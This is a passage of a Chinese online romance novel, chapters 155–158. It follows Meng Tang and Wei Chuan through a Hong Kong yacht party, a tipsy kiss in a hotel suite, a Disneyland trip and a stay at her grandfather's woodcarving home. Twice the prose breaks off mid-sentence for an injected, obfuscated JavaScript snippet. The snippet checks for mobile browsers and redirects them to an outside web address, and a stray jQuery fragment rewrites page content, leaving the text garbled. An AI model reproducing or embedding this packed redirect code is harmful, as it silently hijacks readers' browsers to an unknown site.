他换了白色的亚麻衬衫,袖口随意卷到小臂,露出漂亮的线条,下身是休闲西裤,和孟棠平日里看到的人完全不一样了。 “帅吗?”魏川见她看愣,调笑了声。 孟棠嘴硬道:“你想吓死我?” 魏川哼了声,拨开她肩头的长发,有点醋:“怎么给你送了这么露的衣服?” 孟棠拍了下他的手:“你要是不弄我头发就不露。” 魏川拿她没办法,说:“走吧,车等着了。” 不到半小时,两人到了登船的码头,因为是私人游艇派对,除了船员外,加上孟棠和魏川也就八个人。 三男三女,外貌是真的很港。 魏川也就认识其中一两个,等郑霆晖用了蹩脚的普通话给双方介绍了一遍,孟棠还是没记住哪个对哪个。 只知道三个小姐姐都很漂亮,像电视上的明星。 后来聊了天才知道,其中一人还是首都人,说话那叫一个贫,惹得孟棠笑语连连。 打牌时,郑霆晖一个劲地向魏川打听魏思沅的事,魏川直接给了他一个**:“魏思沅谈恋爱了。” 郑霆晖直接傻眼了:“她跟我聊的时候不还是单身吗?” 魏川失笑:“她说她是明星,不能轻易暴露恋情,这是对外的人设。” 郑霆晖:“……” 娱乐圈查无此人的状态,她到底是哪门子的明星? 看来要去内地一趟,郑霆晖心里不爽,抵了下魏川:“Vivian今天也来了,你就没点想法?” 魏川:“你有病吧,你没看见我女朋友在这儿。” 郑霆晖:“我看她跟你女朋友聊得挺开心的,不会是刺探敌情吧?” 魏川下意识看过去,一颗心突然紧了下。 孟棠察觉到他的视线,朝魏川笑了笑。 那个叫Vivian的女生将一切尽收眼底,笑着问孟棠:“你们感情很好?” 孟棠点点头:“刚在一起没多久。” “他很帅,也很有修养。”Vivian看着孟棠,“我第一次见他是18岁,两家有体育活动的合作。” 孟棠直觉她话里有话,瞥过了脸。 Vivian直视孟棠的眼睛,语气轻柔,陈述了一个事实:“我挺喜欢他的。” 第155章 把我裙子放下去 孟棠放空了两秒,朝Vivian笑了笑,自然而然地回了句:“谢谢。” Vivian也笑了声:“你不会觉得我的话是挑衅?” “没有。”孟棠实话实说,“你好像只是在陈述你喜欢魏川的事实。” 孟棠一直都知道,喜欢魏川的女生很多,学校里就有,粉丝里也有。 她没什么生气的,别人的喜欢没有打扰到她,也没有打扰她和魏川的感情。 但Vivian,实在是漂亮!像维港的一颗明珠。 Vivian耸了下肩:“是一种很欣赏的喜欢,他很真诚,现在的人或多或少都有点面具。” 孟棠余光扫向魏川,问她:“你跟他告过白吗?” Vivian点了点头:“他大一和家人来香港的时候,我跟他提过,他拒绝了。” “所以你现在有男朋友了吗?”孟棠问出想要问的。 “没有。”Vivian摇了摇头。 孟棠沉默片刻,突然说了句:“你普通话挺好的。” Vivian只是谦虚地笑了笑,没有具体回答。 孟棠却猜到了,她的普通话八成是为了魏川学的。 Vivian举起香槟,碰了下孟棠的杯子:“今晚的聚会,我其实不是为了他来的,是为了你。” 她看到了魏川的朋友圈,想要亲自见一见孟棠。 “为了我?”孟棠有些意外,“为什么?” Vivian:“想看看他喜欢的女生是什么样子的,说实话,我觉得你没我漂亮,但气质实在独特。” 怪不得她刚上来就感觉Vivian一直打量她,原来是这层原因。 Vivian也是观察了好半天才上来打了招呼。 “你不止漂亮这一点,感觉你有很多能让他心动的点。” 孟棠一愣,这算得上很高的评价了。 Vivian见她发愣,笑了声:“放心,我不是来抢人的,祝你幸福。” 孟棠道了声谢。 他们不在游轮上过夜,当晚过了零点,魏川带着酒意微醺的孟棠回了酒店。 “一个没看住,喝这么多。”魏川将孟棠放下,让她靠着门板,“别乱动了,给你洗脸刷牙。” 孟棠的思绪是完全清醒的,只是手脚有些发软,她撑着魏川的手臂站直:“洗澡。” “等一下洗。”魏川拉住往浴室去的人,“喝完醒酒汤,半小时后再洗。” 孟棠又重新靠着门板,仰头看着魏川。 夜空里发亮的星星全都绽放在她的眼底,魏川感觉得出来,她是高兴的。 套房的门被敲响,魏川揽住孟棠,往后退了一步,开了门。 管家送了醒酒汤,魏川让他送去客厅的圆几上。 等人走了,他哄着孟棠去客厅:“喝完休息会儿,酒气一会儿也就散了。” 孟棠搂住他的腰,脚下凌乱,一个没注意,将魏川绊倒在沙发上。 魏川怕她摔着,牢牢将人抱住。 一上一下,面对面的姿势,目光交接处,闪动着细碎的光。 孟棠趴在他胸膛,微微撑起自己的上半身,小声问:“Vivian喜欢你啊?” 魏川轻笑一声,曲起右腿当作栏杆,以防她掉下去。 “笑什么?”孟棠有些恼,“人家喜欢你,你就这么开心?” 魏川挑了下眉,一只手垫入脑后:“她跟你说了?” 自从郑霆晖提了Vivian,魏川一直关注着孟棠的情况。 见她和Vivian聊得平和,也就没上前打扰。 Vivian喜欢他是Vivian的事,至于孟棠听到些什么,完全可以向他求证,他定是知无不言。 本以为孟棠会忍一晚上,没想到这么直接。 “人家亲口跟我说的,说的都是你的好话。”孟棠捏了下他的脸,“你好大的魅力啊,Vivian这么漂亮。” 其实孟棠是有些嫉妒的,身世容貌都很顶的一个女生告诉她喜欢魏川,心里不可能没有一丝波澜。 从码头到酒店,一路上她都拽着魏川的手,生怕他跑了似的。 回到酒店的那一刻,她想要说些什么,连她自己都不知道想要从魏川那里得到什么答案。 可她最终还是借着酒精,将乱七八糟想要问的话全都咽回了肚子里。 可一对上视线,什么都阻止不了她了。 “漂亮的人多了。”魏川笑了声,“我还能都喜欢?” “不行。”孟棠趴下去,几乎抵着他的鼻尖,“你喜欢的是我。” 进来的时候,只开了玄关的灯,客厅昏沉沉的。 窗外夜色正浓,维港揉碎着两岸千万盏灯不眠不休,宛如一道流动的星河。 魏川被挡在下面,完全沉溺在黑暗里,只有孟棠,半张脸还浮着一层暧昧的光。 她胸前挂脖的薄纱半披在肩头,让魏川见识了什么叫“犹抱琵琶半遮面”的美景。 “下去。”魏川语气沉了下,“把醒酒汤喝了。” 孟棠无知无觉,香气混着酒气堵在魏川的唇边,要一个固执的答案:“你还没有回答我。” 魏川咬了咬牙:“先下去,我再回答你。” “先回答我。”孟棠仗着酒气撒泼,“我再下去。” “那就别下去了。”魏川气笑了,一个翻身,两人调转了位置。 孟棠后颈被人托起,下颌连着脖颈的线条瞬间绷紧,魏川微微张着唇,俯身吻住了她。 孟棠抬起手臂,搭上他的后脖颈。 魏川愣了下,后背一僵,吻得更深。 缠绕在孟棠颈间的碍事的薄纱缠上魏川的手腕。 醒酒汤已经完全冷掉了,它的热气潮湿全都跑进了魏川和孟棠的唇齿间。 太凶了,也太急了,孟棠难以喘息,推了推魏川。 魏川稍稍离开,掰过了她的脸,亲在她侧颈的一颗红痣上。 孟棠手脚像触电似的,攀都攀不住他的肩背,腰间层层叠叠的丝滑布料被揉成一团。 还没喘几口气,他滚烫的唇又厮磨了下来。 室内冷气充足,除了唇,其他地方都是冷的,而长裙被撩至腰间,皮肤触上一片凉时,孟棠陡然清醒过来,慌乱地挣了下。 魏川还把人压着,几乎要吸干了对方胸腔的最后一点稀薄的空气。 “魏川……”孟棠艰难地从唇缝间吐出一声急呼。 魏川终于回了神,猛地松开了她。 两人在昏暗里四目相对,孟棠脸上滚过一片红,她羞恼地说:“把我裙子放下去啊。” “啊?哦哦……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025927|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏川将她腰间堆叠的布料盖住孟棠的腿,安抚似的,又拍了拍。 孟棠将双腿蜷缩,一脚踩在魏川的腰腹:“起来。” 魏川连忙坐起身。 孟棠根本不敢回迎他的视线,口干舌燥,一把端过凉掉的醒酒汤喝了。 “凉……”魏川刚抬手阻止,她已经喝得一滴不剩。 孟棠待不下去了,慌慌张张地起身:“我去洗澡。” 越过魏川时,手腕又被猛地拽住,随后跌坐在他的腿上。 “哎……你干嘛。” 魏川用鼻尖亲昵地蹭了下她的脸:“害羞了?” 害羞肯定是有的,但更多的是一种诡异的满足,孟棠一直以为自己情感很淡,可在魏川如燎原野火的攻势下,也变得滚烫灼人。 当然了,其中也夹杂着第一次亲昵过度的尴尬。 一碗醒酒汤喝下去还是不顶用,她现在手脚都是麻的,心脏也没有规律地乱跳,急需洗个澡缓一缓。 “怎么办?”魏川指尖拨开她颈侧的长发。 孟棠侧眸:“什么怎么办?” 魏川搂住她的腰,撒娇似的蹭了蹭孟棠的颈窝,小声耍赖:“忍不住想跟你亲近,很难受。” 孟棠还是没懂:“哪里难受?” “你说哪里难受?”魏川看着她,“你知道我训练量,每天的精力散发出去我才能睡个好觉。” 孟棠眨了眨眼,似乎是懂了。 她目光向下,只一眼,屁股烫伤似的弹开了。 “我我……我去洗澡了。” 孟棠像是被鬼追了一样,魏川咬了咬牙,仰头躺在沙发上轻笑了声。 他还没解释呢,人就跑了。 坐了十来分钟,他才起身去客卧洗了澡。 孟棠的酒意和困意全都被魏川吓没了,洗过澡,她拿着手机窝在床头搜索性关系。 各种答案都有,孟棠看得头疼,索性关了手机,一个人睁着眼望天花板。 和魏川真正在一起是五月,到现在满打满算三个月。 三个月,时间其实挺短的。 但也许是魏川做这个男朋友太到位,孟棠总有一种跟他谈了很久的感觉。 也不知道是不是因为两人认识的时间已经很久了。 刚谈恋爱,他也没瞒着家人,从总决赛现场他爸妈的态度,孟棠也可以感觉得出来,魏川肯定在家人面前做了大量的沟通。 正常来说,孟怀璋找上魏立峰的那一刻起,楚茵就应该趾高气扬地让她和魏川分手。 但什么都没有,只有最令她放松的平常的招呼和尊重。 想到这里,孟棠掀开了被子。 魏川正好出来拿水,看到她时皱了皱眉:“怎么光着脚出来?” 其实不冷,都是地毯。 孟棠说:“时间很晚了,你不睡觉吗?” 魏川一愣:“我还以为你不让我过去了。” 孟棠见他头发还有点湿,说:“你自己吹干,我先睡了。” “好。” 魏川应了声,跟着她进了主卧。 他的短发吹几分钟就差不多干了。 孟棠侧着身体,面朝着落地窗,久久没感觉到床的另一侧有人上来,迟疑纠结了半天,她睁开了眼睛。 她猛地往后靠了靠,被无声无息出现在眼前的魏川吓了一跳。 第156章 爷爷,我今晚能住这儿吗 孟棠看着眼前的人,下意识往上拉了下毯子。 魏川瞥了眼,笑了声:“往里睡,给我腾个位置。” 孟棠边往后退边嘀咕:“绕一圈,还得让我给你位置,你为什么不从左边上来?” “我乐意。”魏川哼了声,故意逗她唱反调。 孟棠也哼,转过头就要背对他,被魏川一把按住了:“逗你呢,转过来。” 孟棠不乐意了:“我要睡了。” “别以为我不知道你根本睡不着。”魏川将人掰了过来,“我也睡不着,跟你聊聊天。” “怎么还强迫人聊天?”孟棠转过眼,“你也不看看现在几点了。” “那你睡。”魏川关了窗帘,打开了床头的灯带,“只要你半小时内睡着,我就不打扰你。” 孟棠闭了闭眼:“故意的吧?这个灯睡下去的时候有点刺眼,开了干嘛?” 魏川侧着身体,和她对望,片刻后才说:“刚才在客厅的事——” “别说了。”孟棠的指尖虚虚堵住他的嘴,“明天不是还要出去玩嘛。” 言下之意就是真的该睡了,尴尬的事也别提了。 魏川抓住她的手腕,放下来,说:“我不能不说,我不是趁你喝酒占便宜,是因为一时上头没停下来。” “你要知道男生和女生是不一样的,大多数的男生在谈恋爱的时候,劣根性都是更在乎甜蜜背后的欲望纠缠。” “女生纯爱更多,我只是想说,我喜欢你,所以两者都有。” “我也没到昏头的地步,只是喜欢你才有欲望。” 二十出头的小伙子是日天日地的存在,更别提魏川这个自小就精力旺盛的人。 “我知道。”孟棠抬了抬眼皮,“我没有不信你。” 魏川松了口气,一把搂住了孟棠:“吓死我了,没听我解释你就跑了。” 孟棠抵了抵他:“关灯睡觉。” 魏川关了灯,顺势躺下去,问:“怎么不问明天去哪儿了?” “困了。”孟棠小声道,“明天的事明天再说吧。” 魏川拉上毯子,上手又动腿,将孟棠牢牢锁在怀里。 孟棠懒得折腾,随他去了,他怀疑魏川夜里会精化成八爪鱼。 一夜深眠,等第二天的车接了他俩去港迪,孟棠愣住了:“你怎么没跟我说一声?” 魏川笑道:“开心吗?” 孟棠点了点头:“开心,没来过,小时候也没玩过。” “走吧。” 有钱人玩乐园,纯粹就是来享受的。 孟棠这一天确实是玩疯了,她自己都没料到全天的精神都处于兴奋当中。 她在快乐世界里的每一步,都有魏川在一旁记录。 不过魏川的手也很欠,拍了她在灰熊山矿车上突然启动时的丑照。 她让他删了,他就故意举着手机,另一只手和她十指相扣,听风声压过刺激的心跳。 因为夜里睡得迟,他俩中午才进了乐园。 半天的时间可以玩许许多多的项目,但魏川没让孟棠赶趟似的。 以后总有机会还会过来玩。 半天的时间,孟棠的笑从冷静自持变成了东倒西歪,每一次大笑后总忍不住往魏川身上贴,最后发丝全都甩魏川嘴巴里了。 晚上出来的时候,孟棠直接累到在车上睡着了。 明天是在港的最后一天,睡到自然醒,再去过一个shopping日。 回去的话,是后天中午的飞机,直接落地雁清的隔壁市的机场。 他送孟棠回家,明天正好给孟遇春也买点东西。 从孟棠口中得知,孟遇春爱茶,魏川就带孟棠去了上环的百年茶庄。 挑挑选选,选了个孟棠认为合适的价位,买完离开去了商场。 孟棠没想到魏川还挺爱逛街,总拿着衣服往她身上比划。 她以为他选来选去没找到一件合适的,哪知道他开口就让店员都打包。 孟棠赶紧将人拦住:“别发疯,这么多衣服怎么带回去,随便买两件就行了。” 魏川兴致扑了一半,却还挂着笑:“行,这套白色卫衣,情侣的,试一下?” 孟棠终于顺了他的心意,进了衣帽间。 本就是大学生,两人衣服一换,店员又嗑又夸,夸得魏川上头,孟棠皮笑肉不笑。 除此之外,魏川还给方姐买了些东西。 至于孟怀璋,自然也是有的。 毕竟是孟棠的父亲,别人都有他没有,未免尴尬。 而且孟棠也没和他有什么过大的矛盾,表面的敬重少不了。 回到酒店,孟棠累倒在床上。 魏川将买的东西一一分类好,坐在床尾说:“东西不多,箱子都塞得下,好不容易来一趟,还有没有什么要买的?” 孟棠摇了摇头,其实心里有些惶恐。 魏川买的东西不便宜,他还给所有人都买了,每次她要说点拒绝的话,他就一堆理由等着她。 说到最后,孟棠总觉得想错的是自己。 魏川顺势趴过去,温柔地问:“累了?” 孟棠“嗯”了声:“昨天没睡好,有点困。” 魏川看了眼时间,说:“马上吃晚饭,吃完再睡吧,我怕你睡着了,我会不忍心叫醒你。” 孟棠轻笑:“夸张。” 魏川凑过去,亲了下她的眼尾:“去吃饭?累的话我让管家送到房间。” 孟棠还是没动,一副懒到底的模样:“那就送进来吧。” 魏川起身去打了电话。 孟棠翻过身,想要趴着玩会儿手机,孟遇春忽然打了电话过来。 孟棠赶紧接了起来。 “我之前听你说明天回来?”孟遇春在手机里问。 孟棠:“是啊,您忘了?” 孟遇春又问:“魏川送你回来?” “应该不会吧?”孟棠迟疑了下,“我们应该在机场分开,他5号训练,还得回去陪陪家人。” 孟遇春笑了声:“未必。” 孟棠实在没听懂:“您什么意思啊?” “李寒津回来了。”孟遇春说,“说是魏川搞得他在z市待不下去,工作室搬迁到发源地了呗。” 孟棠:“……什么时候的事啊?” 这要给魏川知道,恐怕得派人盯着李寒津。 他八月在学校训练,她一个人待在雁清,能放心才怪。 当然,这是孟棠认为的,对她来说,李寒津回不回来都没什么所谓,反正关系已经闹僵了。 孟遇春说:“前几天的事,人家还参加了当地的一个传统木雕活动,你还别说,不少人都去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031197|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孟棠逗老爷子:“您去了没?” 孟遇春失笑:“我搁家喝茶呢。” “魏川给您买了些茶和茶具。”孟棠笑了声,“明天给您带回去。” “行。” 挂了电话,魏川进来叫她吃饭。 见她唇边挂着笑,说:“怎么突然心情又好了?” 孟棠出了卧室的门,说:“刚才爷爷来电话了,问我什么时候回去。” 魏川:“之前不是告诉他老人家了吗?” 两人在落地窗前的餐桌旁坐下,孟棠拿起刀叉,半晌又放下。 魏川抬眸:“怎么不吃?” “其实老爷子告诉了我一件事。”孟棠说。 魏川看着她:“什么事?” 孟棠说:“你把李寒津赶出了工业园区,他带着工作室搬迁雁清了。” 魏川好半晌才反应过来,直接气笑了:“我是不是应该给他点一首《快乐老家》” 孟棠被逗笑:“后悔了?” “谁后悔了。”魏川嘴硬,“他回雁清了又能怎么样,你都已经是我女朋友了。” 孟棠白了他一眼:“我就算不是你女朋友,跟他也不会有什么。” 这话魏川爱听,当即心花怒放。 吃完饭,两人各自洗了澡。 洗完澡又收拾了行李箱,时间还早,两人窝在沙发上找电影看。 魏川说:“别找吓**的片子看,找点喜剧的。” 孟棠就去喜剧专栏找,两人乐呵呵地抱在一起看。 看到一半,两人的手机同时响了起来。 孟棠和魏川对视一眼,打开了手机,之前五月组建的群里,文心予发了一堆风景美照过来。 是可以直接当壁纸的程度,随后李卓问大家都在干什么。 魏川揽住孟棠的腰,手臂伸到沙发后面开了自拍,拍完发进了群里:【看电影呢。】 许鹤清:【我看不是看电影,是秀恩爱。】 魏川:【你也可以啊,秀呗。】 许鹤清:【我们抵达第二站了,你是不是快要训练了?】 魏川发了“苦逼”的表情。 没一会儿,群里的人陆陆续续都出来了。 后半场电影,已经没人去观看了。 和朋友们聊了两三个钟头,一群人还乐此不疲,恋恋不舍地结束了聊天。 翌日上午,孟棠和魏川按照原计划落地机场。 还真被老头猜对了,魏川坚持送孟棠回家,因为从机场还要再转车,大概一个小时。 今天已经30号,留给魏川陪家人的时间不多,孟棠劝道: “你一直跟在我身边,时间长了,你妈妈肯定会有意见的。” 魏川以退为进:“行李箱这么重,就一个小时的路程,我送你回去,歇一会儿就回z市。” 孟棠拿他没办法,将箱子给他:“这是你自己说的。” 魏川高高兴兴上了车。 一个小时后,出租车抵达老宅,魏川将孟棠的箱子拎起过石板路。 不巧,在门口看到了李寒津和孟怀璋。 魏川只和孟怀璋打了招呼,孟怀璋见孟棠回来,和李寒津说了声,转身进了宅子。 魏川见到孟遇春,将箱子搁在院中,凑上去讨好地笑了声:“老……爷爷,我今晚能住这儿吗?” 第157章 我做 孟遇春从躺椅上起身,给了孟棠一个“你看”的眼神。 孟棠上前,抓住魏川的胳膊:“别闹了,赶紧去车站。” “谁跟你闹了。”魏川朝从菜园子出来的方姐笑了笑,“方姐,我能留下吗?” 方姐已经知道他俩谈恋爱的事了,而且她对魏川这个嘴甜的大个子也是打心里喜欢。 方姐直接掠过孟棠,说:“小棠的隔壁房间,我已经给你收拾出来了。” “谢谢方姐。”魏川笑眯了眼。 孟棠不可置信地扭过脸:“方姐,你什么时候收拾的?” 方姐指了指孟遇春:“老爷子让收拾的。” “你们都跟着胡闹。”孟棠没辙了,“他5号还要回学校训练呢。” 方姐“哎呀”一声:“今天才30号,让他玩两天呗。” 魏川得意一笑:“就是,方姐,我先把我行李箱收拾一下,待会儿出来帮你择菜啊。” “去去去。”方姐撵苍蝇似的,“想要按时吃上饭,就别过来捣乱。” 魏川应了声,将箱子拎回了房间,熟门熟路的样子直接看呆了孟棠。 孟遇春嗤笑了声:“还真当自己家了。” 嘴上这么说,语气却是纵容且宠溺的。 孟棠也知道,老爷子喜欢魏川这种向阳而生,毫不扭捏的性格。 孟怀璋将一切尽收眼底,他蹲在老爷子身边,问:“这么个公子哥,真的能接受住在这种老宅子里?” 孟遇春看向他:“你想说什么?” “总觉得咱高攀不起。”孟怀璋说,“他家在z市的实力,您恐怕还不知道。” “那又怎么了?”孟遇春其实门清,“孟棠配不上他?” 孟怀璋干笑了声,显然是这样想的。 不过不是孟棠这个人配不上,还是家世配不上。 孟遇春知道他的想法,说:“但凡你年轻的时候懂点事,也不至于现在在家世上计较。” “我就是说说我的想法。”孟怀璋说,“我还在里面待过,人家要是知道的话,还会让儿子跟孟棠谈吗?” 老爷子眯了眯眼,沉默了片刻。 这个问题,他得找魏川聊聊。 “别操心了。”孟遇春说,“你上班去吧,家里也没什么事需要你。” 孟怀璋讪笑一声,转身出了门。 孟棠将自己的行李箱收拾出来,换上了一套舒适的白色棉麻连衣裙。 长发被她用木簪挽起,露出一截白皙的后颈。 魏川从房间出来的时候,孟棠正坐在石凳上,问方姐打算给她和魏川做什么吃的。 连衣裙很宽松,将她整个人虚虚拢着,斑驳的光点透过树缝落在孟棠的身上,给她整个人添了一抹清透的光。 孟棠余光瞥到他的身影,转过头问:“鸡汤面吃吗?早上刚炖的。” “吃。”魏川什么也不挑,“方姐的手艺很好,我喜欢。” 方姐又被哄成胚胎了,剥了菜心,说:“我这就给你们做去,稍微等一下。” “方姐,你先等一下。”魏川叫住人,“我和孟棠在香港给你和爷爷买了点东西,过来看看喜不喜欢。” 方姐一愣:“还有我的啊?” “当然了。”魏川将两个袋子递给她,“你和孟棠是家人,自然也是我的家人,都是小礼物,别嫌弃。” 方姐用围裙擦了下手,笑说魏川见外。 袋子里是燕窝和披肩,方姐很喜欢,抓着魏川的手说了好几遍谢。 孟棠又将给孟遇春买的东西送了过去,老头当即开始研究茶具。 孟棠和魏川相视一笑,又重新在石凳上坐下。 他手欠,摸摸孟棠的木簪,又碰碰孟棠的耳垂,老爷子白了他一眼,说:“后院的斧头昨天刚磨好。” 魏川一下收回了手,干笑着转过头:“您不研究茶具,总盯着**什么?” 老爷子哼了声:“下午你去后院劈点木柴,这两天厨房烧火需要。” “老头,你肯定故意的。”魏川想要据理力争,“厨房明明也有煤气罐和电磁炉,哪里需要烧木柴了?” 孟遇春瞥了他一眼:“我记得以前吧,男女双方确认了心意,男方都要到女方家做活,做的越多越讨喜。” 魏川:“……我做。” “嗯。”孟遇春点点头,“朽木可雕。” 魏川一脸委屈地转过头,试图让孟棠帮自己说话:“我是朽木?” “不是不是。”孟棠拍了拍他的手,“你是好木。” 魏川哼了声,凑近孟棠说:“老头绝对是故意的。” 孟棠:“……” 你在人家面前,对人家的孙女动手动脚,神人也看不过去。 厨房里,方姐将煮好的面铺入碗中,两片白菜心打底,又用鸡汤浇了八分满。 她将托盘装好,端去了院中。 魏川见状,连忙起身接了过去。 汤底十分清澈,香气飘散,魏川咽了咽口水,看着怎么这么好吃。 方姐笑了声,将筷子递给他:“尝尝看,汤底我是用火腿、干贝和雪梨吊的。” 雪梨回甘,家里阿姨也这么炖过汤,魏川挑了一筷子手擀面,对方姐竖起大拇指:“好吃。” 孟棠也跟着点了点头。 她进了大学后,在学校的时间更多,总会怀念方姐的手艺。 两人慢条斯理地吃着鸡汤面,幽静得像一幅画。 吃完饭,孟棠打了水洗了把脸,她对孟遇春说:“爷爷,我去后院了。” 孟遇春颔首应了声。 魏川跟着孟棠,到后院的门口,突然问:“你爸爸怎么不在家?” 孟棠说:“他现在有工作,木材厂呢,爷爷让他去的。” 魏川点了点头:“我说人怎么不见了,给他带的东西,我让方姐放他房间了。” “嗯。”孟棠应了声,“我去挑木料,你还要跟着?” 魏川说:“不能跟吗?” 孟棠:“可以,我就是怕你无聊,你可以去房间休息会儿。” “不想去。”魏川说,“我想看你工作的样子。” 孟棠失笑:“这有什么好看的,我从小到大都是这么枯燥地过来的。” “可我没看过。”魏川说,“每次收到的都是成品,想要看一看艺术品诞生的过程。” 孟棠推开沉重的樟木门,微微转头对魏川说:“这是木料库,存了很多值钱的木头。” 魏川哪里懂,只觉 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选了料子,孟棠回了自己的房间绘制草图,魏川没跟进去,趴在海棠树的窗户上,从外往里看她。 见孟棠宣纸笔墨一摆,魏川笑了声:“你要写书法?” 孟棠抬了抬眸,风动叶落,正好从魏川的耳际刮过。 这个时节,海棠树营养正盛,不轻易落叶。 她眼睫微颤,重新拿了宣纸铺桌,狼毫笔蘸了墨,气韵生动的行书连贯成两句诗——隔窗风动处,人与海棠轻。 魏川问:“写了什么?” 孟棠说:“进来看。” 魏川进了屋里,看清了孟棠写的两句话。 风拂海棠,孟棠因为他的一抹笑而心旌摇曳。 “给我吧。”魏川从背后搂住她的腰,“回去裱起来,你还有什么东西是我不知道的,书法写得这么好。” 孟棠将宣纸卷起,给了他:“好了,我真的要做事了,别再打扰我了。” 魏川拿了人家的心意,一个激动就要亲下去,孟遇春突然从窗前走过,狠狠地咳了两声。 “**。”魏川吓了一跳,再不敢对孟棠乱来。 这老头幽灵似的,到底什么时候过来的? 孟遇春见傻子没跟上,又转了步子回头。 魏川赖在孟棠身边没走,孟遇春又咳了两声。 孟棠抬眸:“爷爷,您嗓子怎么了?” “茶喝多了吧。”魏川故意臊白老爷子,“还是没喝过瘾啊?” 孟遇春指了指他:“跟我过来。” 孟棠以为老爷子不想让魏川打扰她正事,抬手抵了抵他:“去吧。” 魏川将孟棠的书房搁在案几上,转头出了孟棠的书房。 经过海棠树,他又手欠地摘了一片叶子。 孟遇春简直无语:“手真欠。” 魏川尴尬一笑,扔了树叶,跟孟遇春进了后院。 魏川以为是让他过来做事的,直接问:“有什么事,您尽管吩咐吧。” 孟遇春说:“我叫你来,是想问你一件事,你先坐下。” 第158章 宝宝,亲一下 魏川在孟遇春对面的石凳上坐下,问:“您要跟我说什么?” 孟遇春仰头才能看清对面的大个子,问:“你跟孟棠谈恋爱,家里知道吗?” “知道。”魏川说,“决赛的时候,我爸妈也在现场。” 其实魏川的比赛,孟遇春也看了。 他不会弄直播,去了两条街外的裁缝铺,铺子老板的孙子放暑假,他请人家帮他弄的直播。 现在之所以这么问,也就看看魏川的态度。 光明磊落,挺不错的。 孟遇春沉默了片刻,说:“孟棠爸爸的事,你怎么看?” 说到了正题,魏川脸色严肃了一瞬,说:“我没有什么想法,我一个晚辈,又和孟棠是恋爱关系,她的态度等同于我的态度。” “我想问的是你家人的看法。”孟遇春直截了当。 魏川沉默了几秒:“我不愿意骗您,如果知道的话,是有点难。” 即便之前找老太太保底,他也没贸然将孟怀璋的事告诉她。 他只是先帮孟棠在老太太面前刷了一点好感。 尤其是楚茵,绝不会同意。 没说好话骗他,孟遇春还是有点欣慰的,他对魏川说:“不急,你俩才大二,先谈着吧。” “大二怎么了?”魏川有点急,“我发现我家里人也是让我们先谈着,感觉就像我们谈到毕业就能分了似的。” “有些事情早一点解决不至于将伤害扩大,叔叔这件事,我会找个机会跟家里坦白。” 孟遇春挑了下眉:“你知道孟棠以后要在雁清吗?” “我知道。”魏川说,“这事我已经跟她聊过了,我自己有房有车的,住哪儿都一样,不用爸妈他们管。” “话也不是这么说的。”孟遇春说,“你性格被养得这么好,说明你爸妈尊重且爱你,你也不能为了孟棠去伤害他们。” 魏川立刻点了头:“这个道理我当然知道,他们爱我,肯定也会接受孟棠。” 跟孟遇春心中的想法大差不差,他说:“估计接受的过程会不太好。” “有我呢,您放心。”魏川对孟遇春保证,“我是真的喜欢孟棠,没解决之前,不会让她面对我家里人。” 老头今天主动找了他,也是要早点解决的意思。 不然这件事会一直悬在他和孟棠的头上。 可眼下时机也不对,再有五天他要回学校训练,按照他对楚茵的了解,双方一定会有拉扯。 一旦有了拉扯,就是个长期作战,他必须保证那时的自己站在孟棠的身边。 他说的喜欢,也绝不是空口白话。 孟棠对于他的吸引力,早就牢牢盘住了他。 其实从头去看,他早在日复一日的接触过程中动了无数次的心。 真正让他惊艳的是去年第一次来雁清,她蒙眼辨木那个场景,魏川心想他一辈子都不会忘,也就有了后来水月寺的照片。 随着两人的接触越来越深,他越是被孟棠身上宠辱不惊的气魄所吸引。 他需要这一份自带温润的平静。 简而言之,他需要她! 老爷子站起来,指了指墙根:“行了,去劈柴吧。” 魏川:“……” 什么老头啊。 但没办法,只能甩开膀子干。 劈柴这个活计,魏川是没做过的,但练习一番上了手,竟然还咂摸出两分趣味来。 八月的天,蒸笼似的,他索性脱了上衣,扬着胳膊继续劈。 直至天边渐暗,孟棠才出了书房。 方姐已经在忙晚饭了,孟棠四处看了看,没发现魏川。 方姐指了指后院:“劈柴呢。” 孟棠惊愕:“真让他劈了?多久了?” 方姐说:“个把小时,放心,给他送了绿豆汤,我让他别干了,他说挺好玩的。” “我去看看。”孟棠无奈地摇了摇头。 进了后院,老远就听到“咔嚓”的劈柴声。 “你怎么还在——” 孟棠的话戛然而止,匀称白皙的皮肤泛着一层亮晶晶的汗。 背肌线条随着他弯腰一起一伏,腹肌轮廓清晰,漂亮分明。 最绝的是他的手背,青筋蜿蜒隐约可见,抬手砍柴时,肌肉绷紧,张力瞬间爆发。 夕阳的光打下来,流云的颜色几经变幻,让这具漂亮的躯体无限接近于雕塑的美。 魏川听到动静回过头,丝毫不知羞地朝孟棠露出一个笑:“眼睛直了。” 孟棠慌乱地撇开了视线,想想又觉得没什么,不是自己男朋友吗?她又把视线转了回去。 “你的松弛感令人佩服。”孟棠走过去,刮了他下巴的两滴汗,“别做了,赶紧洗澡去。” 魏川拿了短袖套上,欠欠地抵了下孟棠的肩:“怎么样?身材好吧?” 孟棠点了点头:“好。” 她一向不会说假话。 “好的话,什么时候——” 孟棠一巴掌甩他胳膊上,阻止了他:“别乱说话。” 魏川搓了搓手臂:“我错了。” 孟棠被他逗笑:“赶紧去吧。” “好嘞。” 孟遇春从外面回来,手里拎了个西瓜。 